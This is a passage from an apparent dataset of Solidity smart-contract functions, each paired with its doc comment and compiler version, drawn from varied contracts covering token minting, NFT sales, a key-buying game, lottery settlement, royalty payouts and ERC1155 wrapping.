registry.get_gauges(pool);\n address gauge = _gauges[gid];\n require(gauge != address(0), 'no gauge');\n IERC20 lpToken = IERC20(ILiquidityGauge(gauge).lp_token());\n lpToken.approve(gauge, 0);\n lpToken.approve(gauge, uint(-1));\n gauges[pid][gid] = GaugeInfo({impl: ILiquidityGauge(gauge), accCrvPerShare: 0});\n }", "version": "0.6.12"} {"comment": "/// @dev Mint ERC1155 token for the given ERC20 token\n/// @param pid Pool id\n/// @param gid Gauge id\n/// @param amount Token amount to wrap", "function_code": "function mint(\n uint pid,\n uint gid,\n uint amount\n ) external nonReentrant returns (uint) {\n GaugeInfo storage gauge = gauges[pid][gid];\n ILiquidityGauge impl = gauge.impl;\n require(address(impl) != address(0), 'gauge not registered');\n mintCrv(gauge);\n IERC20 lpToken = IERC20(impl.lp_token());\n lpToken.safeTransferFrom(msg.sender, address(this), amount);\n impl.deposit(amount);\n uint id = encodeId(pid, gid, gauge.accCrvPerShare);\n _mint(msg.sender, id, amount, '');\n return id;\n }", "version": "0.6.12"} {"comment": "/// @dev Burn ERC1155 token to redeem ERC20 token back\n/// @param id Token id to burn\n/// @param amount Token amount to burn", "function_code": "function burn(uint id, uint amount) external nonReentrant returns (uint) {\n if (amount == uint(-1)) {\n amount = balanceOf(msg.sender, id);\n }\n (uint pid, uint gid, uint stCrvPerShare) = decodeId(id);\n _burn(msg.sender, id, amount);\n GaugeInfo storage gauge = gauges[pid][gid];\n ILiquidityGauge impl = gauge.impl;\n require(address(impl) != address(0), 'gauge not registered');\n mintCrv(gauge);\n impl.withdraw(amount);\n IERC20(impl.lp_token()).safeTransfer(msg.sender, amount);\n uint stCrv = stCrvPerShare.mul(amount).divCeil(1e18);\n uint enCrv = gauge.accCrvPerShare.mul(amount).div(1e18);\n if (enCrv > stCrv) {\n crv.safeTransfer(msg.sender, enCrv.sub(stCrv));\n }\n return pid;\n }", "version": "0.6.12"} {"comment": "/// @dev Mint CRV reward for curve gauge\n/// @param gauge Curve gauge to mint reward", "function_code": "function mintCrv(GaugeInfo storage gauge) internal {\n ILiquidityGauge impl = gauge.impl;\n uint balanceBefore = crv.balanceOf(address(this));\n ILiquidityGaugeMinter(impl.minter()).mint(address(impl));\n uint balanceAfter = crv.balanceOf(address(this));\n uint gain = balanceAfter.sub(balanceBefore);\n uint supply = impl.balanceOf(address(this));\n if (gain > 0 && supply > 0) {\n gauge.accCrvPerShare = gauge.accCrvPerShare.add(gain.mul(1e18).div(supply));\n }\n }", "version": "0.6.12"} {"comment": "//token controller functions", "function_code": "function generateTokens(address _client, uint256 _amount) public ownerAndCoin workingFlag producibleFlag {\r\n\t\r\n\tif(_totalSupply<=_maxSupply) {\r\n\t\r\n\t\tif(_totalSupply+_amount>_maxSupply) {\r\n\t\t\t_amount = (_totalSupply+_amount)-_maxSupply;\r\n\t\t}\r\n\t\t\r\n\t\tif (_client == address(this))\r\n\t\t{\r\n\t\t\tbalances[address(this)] += _amount;\r\n\t\t\t_totalSupply += _amount;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t if (balances[address(this)] >= _amount)\r\n\t\t {\r\n\t\t\ttransferFrom(address(this), _client, _amount);\r\n\t\t }\r\n\t\t else\r\n\t\t {\r\n\t\t\tuint256 de = _amount - balances[address(this)];\r\n\t\t\ttransferFrom(address(this), _client, balances[address(this)]);\r\n\t\t\t_totalSupply += de;\r\n\t\t\tbalances[_client] += de;\r\n\t\t }\r\n\t\t}\r\n\t\t\r\n\t\tTokensSent(_client, _amount);\r\n\t\t\r\n\t\tif(_totalSupply>=_maxSupply) {\r\n\t\t\tgenerationState = false;\r\n\t\t\tTokenGenerationDisabled();\r\n\t\t}\t\r\n\t\r\n\t} else {\r\n\t\t\r\n\t\t\tgenerationState = false;\r\n\t\t\tTokenGenerationDisabled();\r\n\t\t\r\n\t}\r\n\t\r\n\t\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Transfers the specified token to the specified address\r\n * @param _to address the receiver\r\n * @param _tokenId uint256 the id of the token\r\n */", "function_code": "function transfer(address _to, uint256 _tokenId) external {\r\n require(_to != address(0));\r\n \r\n ensureAddressIsTokenOwner(msg.sender, _tokenId);\r\n \r\n //swap token for the last one in the list\r\n tokensOwnedBy[msg.sender][ownedTokensIndex[_tokenId]] = tokensOwnedBy[msg.sender][tokensOwnedBy[msg.sender].length - 1];\r\n \r\n //record the changed position of the last element\r\n ownedTokensIndex[tokensOwnedBy[msg.sender][tokensOwnedBy[msg.sender].length - 1]] = ownedTokensIndex[_tokenId];\r\n \r\n //remove last element of the list\r\n tokensOwnedBy[msg.sender].pop();\r\n \r\n //delete tokensOwnedBy[msg.sender][ownedTokensIndex[_tokenId]];\r\n tokensOwnedBy[_to].push(_tokenId);\r\n \r\n tokenOwner[_tokenId] = _to;\r\n ownedTokensIndex[_tokenId] = tokensOwnedBy[_to].length - 1;\r\n \r\n emit Transfer(msg.sender, _to, _tokenId);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Sets a new price for the tokensExchangedBy\r\n * @param _newPrice uint256 the new price in WEI\r\n */", "function_code": "function setTokenPriceInWEI(uint256 _newPrice) public {\r\n bool transactionAllowed = false;\r\n \r\n if (msg.sender == CEO) {\r\n transactionAllowed = true;\r\n } else {\r\n for (uint256 i = 0; i < priceAdmins.length; i++) {\r\n if (msg.sender == priceAdmins[i]) {\r\n transactionAllowed = true;\r\n break;\r\n }\r\n }\r\n }\r\n \r\n require((transactionAllowed == true), 'You cannot do that!');\r\n tokenPrice = _newPrice;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Adds the specified number of tokens to the specified address\r\n * Internal method, used when creating new tokens\r\n * @param _to address The address, which is going to own the tokens\r\n * @param _amount uint256 The number of tokens\r\n */", "function_code": "function _addTokensToAddress(address _to, uint256 _amount) internal {\r\n for (uint256 i = 0; i < _amount; i++) {\r\n tokensOwnedBy[_to].push(nextTokenId + i);\r\n tokenOwner[nextTokenId + i] = _to;\r\n ownedTokensIndex[nextTokenId + i] = tokensOwnedBy[_to].length - 1;\r\n }\r\n \r\n nextTokenId += _amount;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Scales the amount of tokens in a purchase, to ensure it will be less or equal to the amount of unsold tokens\r\n * If there are no tokens left, it will return 0\r\n * @param _amount uint256 the amout of tokens in the purchase attempt\r\n * @return _exactAmount uint256\r\n */", "function_code": "function scalePurchaseTokenAmountToMatchRemainingTokens(uint256 _amount) internal view returns (uint256 _exactAmount) {\r\n if (nextTokenId + _amount - 1 > totalTokenSupply) {\r\n _amount = totalTokenSupply - nextTokenId + 1;\r\n }\r\n \r\n if (balanceOf(msg.sender) + _amount > 100) {\r\n _amount = 100 - balanceOf(msg.sender);\r\n require(_amount > 0, \"You can own maximum of 100 tokens!\");\r\n }\r\n \r\n return _amount;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Buy new tokens with ETH\r\n * Calculates the nubmer of tokens for the given ETH amount\r\n * Creates the new tokens when they are purchased\r\n * Returns the excessive ETH (if any) to the transaction sender\r\n */", "function_code": "function buy() payable public {\r\n require(msg.value >= tokenPrice, \"You did't send enough ETH\");\r\n \r\n uint256 amount = scalePurchaseTokenAmountToMatchRemainingTokens(msg.value / tokenPrice);\r\n \r\n require(amount > 0, \"Not enough tokens are available for purchase!\");\r\n \r\n _addTokensToAddress(msg.sender, amount);\r\n \r\n emit Buy(msg.sender, amount, nextTokenId - amount, nextTokenId - 1, now);\r\n \r\n //transfer ETH to CEO\r\n CEO.transfer((amount * tokenPrice));\r\n \r\n getDCCRewards(amount);\r\n \r\n //returns excessive ETH\r\n msg.sender.transfer(msg.value - (amount * tokenPrice));\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Removes a token from the provided address ballance and puts it in the tokensExchangedBy mapping\r\n * @param _owner address the address of the token owner\r\n * @param _tokenId uint256 the id of the token\r\n */", "function_code": "function exchangeToken(address _owner, uint256 _tokenId) internal {\r\n ensureAddressIsTokenOwner(_owner, _tokenId);\r\n \r\n //swap token for the last one in the list\r\n tokensOwnedBy[_owner][ownedTokensIndex[_tokenId]] = tokensOwnedBy[_owner][tokensOwnedBy[_owner].length - 1];\r\n \r\n //record the changed position of the last element\r\n ownedTokensIndex[tokensOwnedBy[_owner][tokensOwnedBy[_owner].length - 1]] = ownedTokensIndex[_tokenId];\r\n \r\n //remove last element of the list\r\n tokensOwnedBy[_owner].pop();\r\n \r\n ownedTokensIndex[_tokenId] = 0;\r\n \r\n delete tokenOwner[_tokenId];\r\n \r\n tokensExchangedBy[_owner].push(_tokenId);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Adds a DreamCarToken contract address to the list on a specific position.\r\n * This allows to maintain and control the order of DreamCarToken contracts, according to their bonus rates\r\n * @param _index uint256 the index where the address will be inserted/overwritten\r\n * @param _address address the address of the DreamCarToken contract\r\n */", "function_code": "function setDreamCarCoinAddress(uint256 _index, address _address) public onlyCEO {\r\n require (_address != address(0));\r\n if (dreamCarCoinContracts.length > 0 && dreamCarCoinContracts.length - 1 >= _index) {\r\n dreamCarCoinContracts[_index] = DreamCarToken(_address);\r\n } else {\r\n dreamCarCoinContracts.push(DreamCarToken(_address));\r\n }\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Allows the buyer of WLC coins to receive DCCs as bonus.\r\n * Works when a DreamCarToken address is set in the dreamCarCoinContracts array.\r\n * Loops through the array, starting from the smallest index, where the DreamCarToken, which requires\r\n * the highest number of WLCs in a single purchase should be.\r\n * Gets the remaining WLCs, after the bonus is payed and tries to get bonus from the other DreamCarToken contracts\r\n * in the list\r\n * @param _amount uint256 how many tokens was purchased by the buyer\r\n */", "function_code": "function getDCCRewards(uint256 _amount) internal {\r\n for (uint256 i = 0; i < dreamCarCoinContracts.length; i++) {\r\n if (_amount > 0 && address(dreamCarCoinContracts[i]) != address(0)) {\r\n _amount = dreamCarCoinContracts[i].getWLCReward(_amount, msg.sender);\r\n } else {\r\n break;\r\n }\r\n }\r\n }", "version": "0.5.7"} {"comment": "// events\n// public functions", "function_code": "function transferFrom(address from, address to, uint256 value) public returns (bool) {\r\n require(to != address(0));\r\n require(value <= _balances[from]);\r\n require(value <= _allowances[from][msg.sender]);\r\n\r\n _balances[from] = _balances[from].sub(value);\r\n _balances[to] = _balances[to].add(value);\r\n _allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);\r\n emit Transfer(from, to, value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev return the price buyer will pay for next 1 individual key.\r\n * - during live round. this is accurate. (well... unless someone buys before\r\n * you do and ups the price! you better HURRY!)\r\n * - during ICO phase. this is the max you would get based on current eth\r\n * invested during ICO phase. if others invest after you, you will receive\r\n * less. (so distract them with meme vids till ICO is over)\r\n * -functionhash- 0x018a25e8\r\n * @return price for next key bought (in wei format)\r\n */", "function_code": "function getBuyPrice()\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // is ICO phase over?? & theres eth in the round?\r\n if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)\r\n return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );\r\n else if (_now <= round_[_rID].end) // round hasn't ended (in ICO phase, or ICO phase is over, but round eth is 0)\r\n return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) );\r\n else // rounds over. need price for new round\r\n return ( 100000000000000 ); // init\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev logic runs whenever a buy order is executed. determines how to handle\r\n * incoming eth depending on if we are in ICO phase or not\r\n */", "function_code": "function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)\r\n private\r\n {\r\n // check to see if round has ended. and if player is new to round\r\n _eventData_ = manageRoundAndPlayer(_pID, _eventData_);\r\n\r\n // are we in ICO phase?\r\n if (now <= round_[rID_].strt + rndGap_)\r\n {\r\n // let event data know this is a ICO phase buy order\r\n _eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000;\r\n\r\n // ICO phase core\r\n icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_);\r\n\r\n\r\n // round is live\r\n } else {\r\n // let event data know this is a buy order\r\n _eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000;\r\n\r\n // call core\r\n core(_pID, msg.value, _affID, _team, _eventData_);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev calculates unmasked earnings (just calculates, does not update mask)\r\n * @return earnings in wei format\r\n */", "function_code": "function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)\r\n private\r\n view\r\n returns(uint256)\r\n {\r\n // if player does not have unclaimed keys bought in ICO phase\r\n // return their earnings based on keys held only.\r\n if (plyrRnds_[_pID][_rIDlast].ico == 0)\r\n return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );\r\n else\r\n if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0)\r\n return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );\r\n else\r\n return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );\r\n // otherwise return earnings based on keys owed from ICO phase\r\n // (this would be a scenario where they only buy during ICO phase, and never\r\n // buy/reload during round)\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns the amount of keys you would get given an amount of eth.\r\n * - during live round. this is accurate. (well... unless someone buys before\r\n * you do and ups the price! you better HURRY!)\r\n * - during ICO phase. this is the max you would get based on current eth\r\n * invested during ICO phase. if others invest after you, you will receive\r\n * less. (so distract them with meme vids till ICO is over)\r\n * -functionhash- 0xce89c80c\r\n * @param _rID round ID you want price for\r\n * @param _eth amount of eth sent in\r\n * @return keys received\r\n */", "function_code": "function calcKeysReceived(uint256 _rID, uint256 _eth)\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // is ICO phase over?? & theres eth in the round?\r\n if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)\r\n return ( (round_[_rID].eth).keysRec(_eth) );\r\n else if (_now <= round_[_rID].end) // round hasn't ended (in ICO phase, or ICO phase is over, but round eth is 0)\r\n return ( (round_[_rID].ico).keysRec(_eth) );\r\n else // rounds over. need keys for new round\r\n return ( (_eth).keys() );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns current eth price for X keys.\r\n * - during live round. this is accurate. (well... unless someone buys before\r\n * you do and ups the price! you better HURRY!)\r\n * - during ICO phase. this is the max you would get based on current eth\r\n * invested during ICO phase. if others invest after you, you will receive\r\n * less. (so distract them with meme vids till ICO is over)\r\n * -functionhash- 0xcf808000\r\n * @param _keys number of keys desired (in 18 decimal format)\r\n * @return amount of eth needed to send\r\n */", "function_code": "function iWantXKeys(uint256 _keys)\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // is ICO phase over?? & theres eth in the round?\r\n if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)\r\n return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );\r\n else if (_now <= round_[_rID].end) // round hasn't ended (in ICO phase, or ICO phase is over, but round eth is 0)\r\n return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) );\r\n else // rounds over. need price for new round\r\n return ( (_keys).eth() );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev takes keys bought during ICO phase, and adds them to round. pays\r\n * out gen rewards that accumulated during ICO phase\r\n */", "function_code": "function roundClaimICOKeys(uint256 _rID)\r\n private\r\n {\r\n // update round eth to account for ICO phase eth investment\r\n round_[_rID].eth = round_[_rID].ico;\r\n\r\n // add keys to round that were bought during ICO phase\r\n round_[_rID].keys = (round_[_rID].ico).keys();\r\n\r\n // store average ICO key price\r\n round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID);\r\n\r\n // set round mask from ICO phase\r\n uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys);\r\n uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000));\r\n if (_dust > 0)\r\n round_[_rID].pot = (_dust).add(round_[_rID].pot); // <<< your adding to pot and havent updated event data\r\n\r\n // distribute gen portion to key holders\r\n round_[_rID].mask = _ppt.add(round_[_rID].mask);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Settle the pool, the winners are selected randomly.\r\n */", "function_code": "function settlePool() external {\r\n require(isRNDGenerated, \"RND in progress\");\r\n require(poolStatus == PoolStatus.INPROGRESS, \"pool in progress\");\r\n\r\n // generate winnerIndexes until the numOfWinners reach\r\n uint256 newRandom = randomResult;\r\n uint256 offset = 0;\r\n while(winnerIndexes.length < poolConfig.numOfWinners) {\r\n uint256 winningIndex = newRandom.mod(poolConfig.participantLimit);\r\n if (!winnerIndexes.contains(winningIndex)) {\r\n winnerIndexes.push(winningIndex);\r\n }\r\n offset = offset.add(1);\r\n newRandom = _getRandomNumberBlockchain(offset, newRandom);\r\n }\r\n areWinnersGenerated = true;\r\n emit WinnersGenerated(winnerIndexes);\r\n\r\n // set pool CLOSED status\r\n poolStatus = PoolStatus.CLOSED;\r\n\r\n // collectRewards();\r\n emit PoolSettled();\r\n }", "version": "0.6.10"} {"comment": "//there is no fee using token to play HDX20 powered games ", "function_code": "function payWithToken( uint256 _eth , address _player_address ) public\r\n onlyFromGameWhiteListed\r\n returns(uint256)\r\n {\r\n require( _eth>0 && _eth <= ethBalanceOfNoFee(_player_address ));\r\n \r\n address _game_contract = msg.sender;\r\n \r\n uint256 balance = tokenBalanceLedger[ _player_address ];\r\n \r\n uint256 _nb_token = (_eth.mul( magnitude) ) / tokenPrice;\r\n \r\n require( _nb_token <= balance);\r\n \r\n //confirm the ETH value\r\n _eth = (_nb_token.mul( tokenPrice)) / magnitude;\r\n \r\n balance = balance.sub(_nb_token);\r\n \r\n tokenSupply = tokenSupply.sub( _nb_token);\r\n \r\n tokenBalanceLedger[ _player_address ] = balance;\r\n \r\n contractValue = contractValue.sub( _eth );\r\n \r\n \r\n if (tokenSupply>magnitude)\r\n {\r\n tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;\r\n }\r\n \r\n \r\n //send the money to the game contract \r\n _game_contract.transfer( _eth );\r\n \r\n \r\n return( _eth );\r\n }", "version": "0.4.25"} {"comment": "// once the royalty contract has a balance, call this to payout to the shareholders", "function_code": "function payout() public payable onlyOwner whenNotPaused returns (bool) {\n // the balance must be greater than 0\n assert(address(this).balance > 0);\n\n // get the balance of ETH held by the royalty contract\n uint balance = address(this).balance;\n for (uint i = 0; i < shareholders.length; i++) {\n\n // 10,000 shares represents 100.00% ownership\n uint amount = balance * shareholders[i].share / 10000;\n\n // https://solidity-by-example.org/sending-ether/\n // this considered the safest way to send ETH\n (bool success, ) = shareholders[i].shareholder_address.call{value: amount}(\"\");\n\n // it should not fail\n require(success, \"Transfer failed.\");\n\n emit Payout(shareholders[i].shareholder_address, amount);\n }\n return true;\n }", "version": "0.8.1"} {"comment": "// INTERNAL EXTRA FUNCTION TO MOVE OVER OLD ITEMS ", "function_code": "function AddItemExtra(uint32 timer, uint16 priceIncrease, uint256 minPrice, uint16 creatorFee, uint16 potFee, string name, address own) internal {\r\n \tuint16 previousFee = 10000 - devFee - potFee - creatorFee;\r\n \tvar NewItem = Item(timer, 0, priceIncrease, minPrice, 0, minPrice, creatorFee, previousFee, potFee, own, address(0), \"\", name);\r\n\r\n \tItems[next_item_index] = NewItem;\r\n\r\n \t//emit ItemCreated(next_item_index);\r\n\r\n \tnext_item_index = add(next_item_index,1);\r\n }", "version": "0.4.21"} {"comment": "// Not interesting, safe math functions", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.4.21"} {"comment": "// Staking functions", "function_code": "function distribute(uint amount) public {\r\n require(totalStaked > 0, 'Stake required');\r\n User memory _user = user[msg.sender];\r\n require(_user.balance >= amount, 'Not enough minerals');\r\n _user.balance = _user.balance.sub(amount);\r\n user[msg.sender] = _user;\r\n\r\n divsPerShare = divsPerShare.add((amount * MAG) / totalStaked);\r\n }", "version": "0.5.17"} {"comment": "// burn functions", "function_code": "function burnPool() external {\r\n require(totalStaked > 0, 'Stake required');\r\n uint _burnAmount = getBurnAmount() + toBurn;\r\n require(_burnAmount >= 10, \"Nothing to burn...\");\r\n lastBurnTime = now;\r\n toBurn = 0;\r\n\r\n uint _userReward = _burnAmount * 10 / 100;\r\n uint _stakeReward = _burnAmount * 20 / 100;\r\n uint _finalBurn = _burnAmount - _userReward - _stakeReward;\r\n\r\n _totalSupply = _totalSupply.sub(_finalBurn);\r\n totalBurned += _finalBurn;\r\n user[msg.sender].balance += _userReward;\r\n divsPerShare = divsPerShare.add((_stakeReward * MAG) / totalStaked);\r\n user[pool].balance = user[pool].balance.sub(_finalBurn);\r\n\r\n IUniswapV2Pair(pool).sync();\r\n\r\n emit PoolBurn(msg.sender, _burnAmount, _totalSupply, balanceOf(pool));\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Utility method which contains the logic of the constructor.\r\n * This is a useful trick to instantiate a contract when it is cloned.\r\n */", "function_code": "function init(\r\n address model,\r\n address source,\r\n string memory name,\r\n string memory symbol\r\n ) public virtual override {\r\n require(\r\n _model == address(0),\r\n \"Init already called!\"\r\n );\r\n\r\n require(\r\n model != address(0),\r\n \"Model should be a valid ethereum address\"\r\n );\r\n _model = model;\r\n\r\n _source = source;\r\n\r\n require(\r\n _source != address(0) || keccak256(bytes(name)) != keccak256(\"\"),\r\n \"At least a source contract or a name must be set\"\r\n );\r\n require(\r\n _source != address(0) || keccak256(bytes(symbol)) != keccak256(\"\"),\r\n \"At least a source contract or a symbol must be set\"\r\n );\r\n\r\n _registerInterface(this.onERC1155Received.selector);\r\n _registerInterface(this.onERC1155BatchReceived.selector);\r\n bool safeBatchTransferFrom = _checkAndInsertSelector(\r\n this.safeBatchTransferFrom.selector\r\n );\r\n bool cumulativeInterface = _checkAndInsertSelector(\r\n _INTERFACEobjectId_ERC1155\r\n );\r\n require(\r\n _source == address(0) ||\r\n safeBatchTransferFrom ||\r\n cumulativeInterface,\r\n \"Looks like you're not wrapping a correct ERC1155 Token\"\r\n );\r\n _checkAndInsertSelector(this.balanceOf.selector);\r\n _checkAndInsertSelector(this.balanceOfBatch.selector);\r\n _checkAndInsertSelector(this.setApprovalForAll.selector);\r\n _checkAndInsertSelector(this.isApprovedForAll.selector);\r\n _checkAndInsertSelector(this.safeTransferFrom.selector);\r\n _checkAndInsertSelector(this.uri.selector);\r\n _checkAndInsertSelector(this.totalSupply.selector);\r\n _supportsName = _checkAndInsertSelector(0x00ad800c); //name(uint256)\r\n _supportsSymbol = _checkAndInsertSelector(0x4e41a1fb); //symbol(uint256)\r\n _supportsDecimals = _checkAndInsertSelector(this.decimals.selector);\r\n _supportsDecimals = _source == address(0) ? false : _supportsDecimals;\r\n _setAndCheckNameAndSymbol(name, symbol);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Mint\r\n * If the SuperSaiyanToken does not wrap a pre-existent NFT, this call is used to mint new NFTs, according to the permission rules provided by the Token creator.\r\n * @param amount The amount of tokens to be created. It must be greater than 1 unity.\r\n * @param objectUri The Uri to locate this new token's metadata.\r\n */", "function_code": "function mint(uint256 amount, string memory objectUri)\r\n public\r\n virtual\r\n override\r\n returns (uint256 objectId, address tokenAddress)\r\n {\r\n require(_source == address(0), \"Cannot mint unexisting tokens\");\r\n require(\r\n keccak256(bytes(objectUri)) != keccak256(\"\"),\r\n \"Uri cannot be empty\"\r\n );\r\n (objectId, tokenAddress) = _mint(msg.sender, 0, amount, true);\r\n _objectUris[objectId] = objectUri;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Burn\r\n * You can choose to burn your NFTs.\r\n * In case this Token wraps a pre-existent ERC1155 NFT, you will receive the wrapped NFTs.\r\n */", "function_code": "function burn(\r\n uint256 objectId,\r\n uint256 amount,\r\n bytes memory data\r\n ) public virtual override {\r\n asERC20(objectId).burn(msg.sender, toDecimals(objectId, amount));\r\n if (_source != address(0)) {\r\n IERC1155(_source).safeTransferFrom(\r\n address(this),\r\n msg.sender,\r\n objectId,\r\n amount,\r\n data\r\n );\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Burn Batch\r\n * Same as burn, but for multiple NFTs at the same time\r\n */", "function_code": "function burnBatch(\r\n uint256[] memory objectIds,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) public virtual override {\r\n for (uint256 i = 0; i < objectIds.length; i++) {\r\n asERC20(objectIds[i]).burn(\r\n msg.sender,\r\n toDecimals(objectIds[i], amounts[i])\r\n );\r\n }\r\n if (_source != address(0)) {\r\n IERC1155(_source).safeBatchTransferFrom(\r\n address(this),\r\n msg.sender,\r\n objectIds,\r\n amounts,\r\n data\r\n );\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev classic ERC-1155 onERC1155BatchReceived hook.\r\n * Same as onERC1155Received, but for multiple tokens at the same time\r\n */", "function_code": "function onERC1155BatchReceived(\r\n address,\r\n address owner,\r\n uint256[] memory objectIds,\r\n uint256[] memory amounts,\r\n bytes memory\r\n ) public virtual override returns (bytes4) {\r\n require(msg.sender == _source, \"Unauthorized action!\");\r\n for (uint256 i = 0; i < objectIds.length; i++) {\r\n _mint(owner, objectIds[i], amounts[i], false);\r\n }\r\n return this.onERC1155BatchReceived.selector;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev this method sends the correct creation parameters for the new ERC-20 to be minted.\r\n * It takes thata from the wrapped ERC1155 NFT or from the parameters passed at construction time.\r\n */", "function_code": "function getMintData(uint256 objectId)\r\n public\r\n virtual\r\n override\r\n view\r\n returns (\r\n string memory name,\r\n string memory symbol,\r\n uint256 decimals\r\n )\r\n {\r\n name = _name;\r\n symbol = _symbol;\r\n decimals = 18;\r\n if (\r\n _source != address(0) &&\r\n (_supportsName || _supportsSymbol || _supportsDecimals)\r\n ) {\r\n IERC1155Views views = IERC1155Views(_source);\r\n name = _supportsName ? views.name(objectId) : name;\r\n symbol = _supportsSymbol ? views.symbol(objectId) : symbol;\r\n decimals = _supportsDecimals ? views.decimals(objectId) : decimals;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @notice Modify the stability fee for a collateral type; revert if the new fee is not within bounds\r\n * @param collateralType The collateral type to change the fee for\r\n * @param parameter Must be \"stabilityFee\"\r\n * @param data The new fee\r\n */", "function_code": "function modifyParameters(\r\n bytes32 collateralType,\r\n bytes32 parameter,\r\n uint256 data\r\n ) external isAuthorized {\r\n // Fetch the bounds\r\n uint256 lowerBound = stabilityFeeBounds[collateralType].lowerBound;\r\n uint256 upperBound = stabilityFeeBounds[collateralType].upperBound;\r\n // Check that the collateral type has bounds\r\n require(\r\n upperBound >= lowerBound,\r\n \"MinimalTaxCollectorOverlay/bounds-improperly-set\"\r\n );\r\n // Check that the new fee is within bounds\r\n require(both(data <= upperBound, data >= lowerBound), \"MinimalTaxCollectorOverlay/fee-exceeds-bounds\");\r\n // Check that the parameter name is correct\r\n require(parameter == \"stabilityFee\", \"MinimalTaxCollectorOverlay/invalid-parameter\");\r\n // Collect the fee up until now\r\n taxCollector.taxSingle(collateralType);\r\n // Finally set the new fee\r\n taxCollector.modifyParameters(collateralType, parameter, data);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @dev Spend `amount` form the allowance of `owner` toward `spender`.\r\n *\r\n * Does not update the allowance amount in case of infinite allowance.\r\n * Revert if not enough allowance is available.\r\n *\r\n * Might emit an {Approval} event.\r\n */", "function_code": "function _spendAllowance(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n uint256 currentAllowance = allowance(owner, spender);\r\n if (currentAllowance != type(uint256).max) {\r\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\r\n unchecked {\r\n _approve(owner, spender, currentAllowance - amount);\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\n * Submit statement to be added to Historical Record. There is no fee to\n * add the 1st statement, but a fee is required for all subsequent\n * statements.\n * @param tokenId Unix time representation of a Historical Record date\n * @param _statement string statement that sender wants added to Record\n * @dev statementCount[tokenId] is set to 100 + the current number of\n * statements to lock the Record and prevent owner from adding multiple\n * statements. statementCount[tokenId] is set back equal to the current\n * number of statements in _beforeTokenTransfer() hook. Submitted\n * statements are mapped by statement[_statementId].\n */", "function_code": "function submitStatement(\n uint256 tokenId, \n string memory _statement\n ) \n public \n payable \n {\n uint256 _statementCount = statementCount[tokenId];\n if (_statementCount > 0) {\n require(msg.value == STATE_FEE, \"Incorrect fee\");\n }\n require(\n ERC721.ownerOf(tokenId) == msg.sender, \n \"Only owner can add statement\"\n );\n require(_statementCount < 10, \"Record locked\");\n uint256 _statementId = tokenId + _statementCount + 1;\n statement[_statementId] = _statement;\n emit NewStatement(_statementId, _statement);\n if (_statementCount 